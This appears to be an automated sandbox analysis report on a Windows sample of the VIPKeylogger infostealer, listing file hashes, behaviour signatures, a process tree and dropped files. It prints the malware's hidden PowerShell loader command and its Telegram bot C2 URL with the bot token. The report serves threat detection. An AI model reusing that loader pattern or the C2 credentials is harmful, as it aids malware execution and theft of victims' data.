Analysis

  • max time kernel
    144s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17-12-2024 08:09

General

  • Target

    Syltetjsmad.exe

  • Size

    1.1MB

  • MD5

    cb8e38a904d97a2782cb38140f36e3fe

  • SHA1

    f9d77ffb188fed3bede9998a89b7362afcc52015

  • SHA256

    191ed5ad32b3e7df7a75dddfdc903bfc4f0a8c4cc4549db80b8f678b66fcba90

  • SHA512

    6200ba0b73b377cd702a446b1da9dbc032edbef8767012f0b109d1f803de653f16d6b0725ccee6346fe2082af814fa59220896b4d6461a19a7dec95717d2b095

  • SSDEEP

    24576:nNrNYoECbMDm/+/3VwV5k7j5awX300zQUGtZ:N+rCbGm/+/3VwXgj5aEkHUGtZ

Malware Config

Extracted

Family

vipkeylogger

C2

https://api.telegram.org/bot7989757183:AAFOo4_6tWUyZFDLW24lYUc4AgrSMn29lec/sendMessage?chat_id=7408341442

Signatures

  • VIPKeylogger

    VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.

  • Vipkeylogger family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Loads dropped DLL 1 IoCs
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Blocklisted process makes network request 9 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Drops file in Program Files directory 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 23 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Syltetjsmad.exe
    "C:\Users\Admin\AppData\Local\Temp\Syltetjsmad.exe"
    1⤵
    • Loads dropped DLL
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4812
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden "$Prattlers=gc -raw 'C:\Users\Admin\AppData\Local\Temp\globosely\baadehavn\stnner\hypho.Liv';$Boistously=$Prattlers.SubString(8499,3);.$Boistously($Prattlers) "
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4416
      • C:\Windows\SysWOW64\msiexec.exe
        "C:\Windows\SysWOW64\msiexec.exe"
        3⤵
        • Accesses Microsoft Outlook profiles
        • Blocklisted process makes network request
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • outlook_office_path
        • outlook_win_path
        PID:4968

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_j0vwhgux.laf.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\globosely\baadehavn\stnner\Platheden.Kla

    Filesize

    343KB

    MD5

    d08535d8d6333dabbdb3791767bf8618

    SHA1

    79fcd48dba5cb86b5f8f30536128048baf262ce4

    SHA256

    67a7b59f47c7da638d751b8fd813282199ff14fe6c1831160cb0bc8b7195b6a4

    SHA512

    2136f5f8b14c94b2b4b5b29f273992a5b07faacd7c80720dc4478e2ede1cb61e2e9d5ba8e8b52bb3ae861905b4eb83fb294bd69da47be314bf1e29cb4d52d50d

  • C:\Users\Admin\AppData\Local\Temp\globosely\baadehavn\stnner\hypho.Liv

    Filesize

    67KB

    MD5

    2680ec136e95120b96e418260f5ee955

    SHA1

    7be591e045d190eaa4e078481e8960dbd8973e46

    SHA256

    b395b694a1bf12ab5130d593be3e9f2e8ca45fe4e21d8afffba667dd4a66a87a

    SHA512

    128bb670f54e87b9e1ca432b0f3c4a315e3d07414c4c33701a6749f7dbefc9659d582d697b7332cc93b62739bbccf5b8953c772d426eb82b546b4a037de881e0

  • C:\Users\Admin\AppData\Local\Temp\nsfACAC.tmp\nsExec.dll

    Filesize

    7KB

    MD5

    675c4948e1efc929edcabfe67148eddd

    SHA1

    f5bdd2c4329ed2732ecfe3423c3cc482606eb28e

    SHA256

    1076ca39c449ed1a968021b76ef31f22a5692dfafeea29460e8d970a63c59906

    SHA512

    61737021f86f54279d0a4e35db0d0808e9a55d89784a31d597f2e4b65b7bbeec99aa6c79d65258259130eeda2e5b2820f4f1247777a3010f2dc53e30c612a683

  • memory/4416-14-0x00000000732FE000-0x00000000732FF000-memory.dmp

    Filesize

    4KB

  • memory/4416-15-0x0000000002B70000-0x0000000002BA6000-memory.dmp

    Filesize

    216KB

  • memory/4416-16-0x0000000005250000-0x0000000005878000-memory.dmp

    Filesize

    6.2MB

  • memory/4416-17-0x00000000732F0000-0x0000000073AA0000-memory.dmp

    Filesize

    7.7MB

  • memory/4416-18-0x00000000732F0000-0x0000000073AA0000-memory.dmp

    Filesize

    7.7MB

  • memory/4416-19-0x0000000005190000-0x00000000051B2000-memory.dmp

    Filesize

    136KB

  • memory/4416-20-0x0000000005880000-0x00000000058E6000-memory.dmp

    Filesize

    408KB

  • memory/4416-21-0x00000000058F0000-0x0000000005956000-memory.dmp

    Filesize

    408KB

  • memory/4416-31-0x0000000005B30000-0x0000000005E84000-memory.dmp

    Filesize

    3.3MB

  • memory/4416-32-0x0000000006130000-0x000000000614E000-memory.dmp

    Filesize

    120KB

  • memory/4416-33-0x00000000061E0000-0x000000000622C000-memory.dmp

    Filesize

    304KB

  • memory/4416-35-0x0000000006630000-0x000000000664A000-memory.dmp

    Filesize

    104KB

  • memory/4416-34-0x0000000007130000-0x00000000071C6000-memory.dmp

    Filesize

    600KB

  • memory/4416-36-0x0000000006690000-0x00000000066B2000-memory.dmp

    Filesize

    136KB

  • memory/4416-37-0x0000000007990000-0x0000000007F34000-memory.dmp

    Filesize

    5.6MB

  • memory/4416-39-0x00000000085C0000-0x0000000008C3A000-memory.dmp

    Filesize

    6.5MB

  • memory/4416-41-0x00000000748E0000-0x000000007492C000-memory.dmp

    Filesize

    304KB

  • memory/4416-52-0x0000000007580000-0x000000000759E000-memory.dmp

    Filesize

    120KB

  • memory/4416-40-0x0000000007540000-0x0000000007572000-memory.dmp

    Filesize

    200KB

  • memory/4416-51-0x00000000732F0000-0x0000000073AA0000-memory.dmp

    Filesize

    7.7MB

  • memory/4416-53-0x00000000075B0000-0x0000000007653000-memory.dmp

    Filesize

    652KB

  • memory/4416-54-0x00000000732F0000-0x0000000073AA0000-memory.dmp

    Filesize

    7.7MB

  • memory/4416-55-0x00000000732F0000-0x0000000073AA0000-memory.dmp

    Filesize

    7.7MB

  • memory/4416-56-0x00000000076B0000-0x00000000076BA000-memory.dmp

    Filesize

    40KB

  • memory/4416-57-0x0000000007810000-0x0000000007821000-memory.dmp

    Filesize

    68KB

  • memory/4416-58-0x0000000007860000-0x000000000786E000-memory.dmp

    Filesize

    56KB

  • memory/4416-59-0x0000000007870000-0x0000000007884000-memory.dmp

    Filesize

    80KB

  • memory/4416-60-0x00000000078B0000-0x00000000078CA000-memory.dmp

    Filesize

    104KB

  • memory/4416-61-0x00000000078A0000-0x00000000078A8000-memory.dmp

    Filesize

    32KB

  • memory/4416-62-0x0000000007900000-0x000000000792A000-memory.dmp

    Filesize

    168KB

  • memory/4416-63-0x0000000007930000-0x0000000007954000-memory.dmp

    Filesize

    144KB

  • memory/4416-64-0x00000000732F0000-0x0000000073AA0000-memory.dmp

    Filesize

    7.7MB

  • memory/4416-65-0x00000000732F0000-0x0000000073AA0000-memory.dmp

    Filesize

    7.7MB

  • memory/4416-68-0x00000000732F0000-0x0000000073AA0000-memory.dmp

    Filesize

    7.7MB

  • memory/4416-67-0x00000000732FE000-0x00000000732FF000-memory.dmp

    Filesize

    4KB

  • memory/4416-69-0x00000000732F0000-0x0000000073AA0000-memory.dmp

    Filesize

    7.7MB

  • memory/4416-70-0x0000000008C40000-0x000000000C195000-memory.dmp

    Filesize

    53.3MB

  • memory/4416-71-0x00000000732F0000-0x0000000073AA0000-memory.dmp

    Filesize

    7.7MB

  • memory/4416-72-0x00000000732F0000-0x0000000073AA0000-memory.dmp

    Filesize

    7.7MB

  • memory/4416-73-0x00000000732F0000-0x0000000073AA0000-memory.dmp

    Filesize

    7.7MB

  • memory/4416-74-0x00000000732F0000-0x0000000073AA0000-memory.dmp

    Filesize

    7.7MB

  • memory/4416-75-0x00000000732F0000-0x0000000073AA0000-memory.dmp

    Filesize

    7.7MB

  • memory/4416-76-0x00000000732F0000-0x0000000073AA0000-memory.dmp

    Filesize

    7.7MB

  • memory/4416-77-0x00000000732F0000-0x0000000073AA0000-memory.dmp

    Filesize

    7.7MB

  • memory/4968-90-0x0000000000D60000-0x0000000001FB4000-memory.dmp

    Filesize

    18.3MB

  • memory/4968-91-0x0000000000D60000-0x0000000000DAA000-memory.dmp

    Filesize

    296KB

  • memory/4968-92-0x0000000022DD0000-0x0000000022E6C000-memory.dmp

    Filesize

    624KB

  • memory/4968-97-0x0000000023A10000-0x0000000023BD2000-memory.dmp

    Filesize

    1.8MB

  • memory/4968-98-0x0000000023270000-0x00000000232C0000-memory.dmp

    Filesize

    320KB

  • memory/4968-99-0x0000000024110000-0x000000002463C000-memory.dmp

    Filesize

    5.2MB

  • memory/4968-102-0x0000000023370000-0x0000000023402000-memory.dmp

    Filesize

    584KB

  • memory/4968-103-0x0000000000800000-0x000000000080A000-memory.dmp

    Filesize

    40KB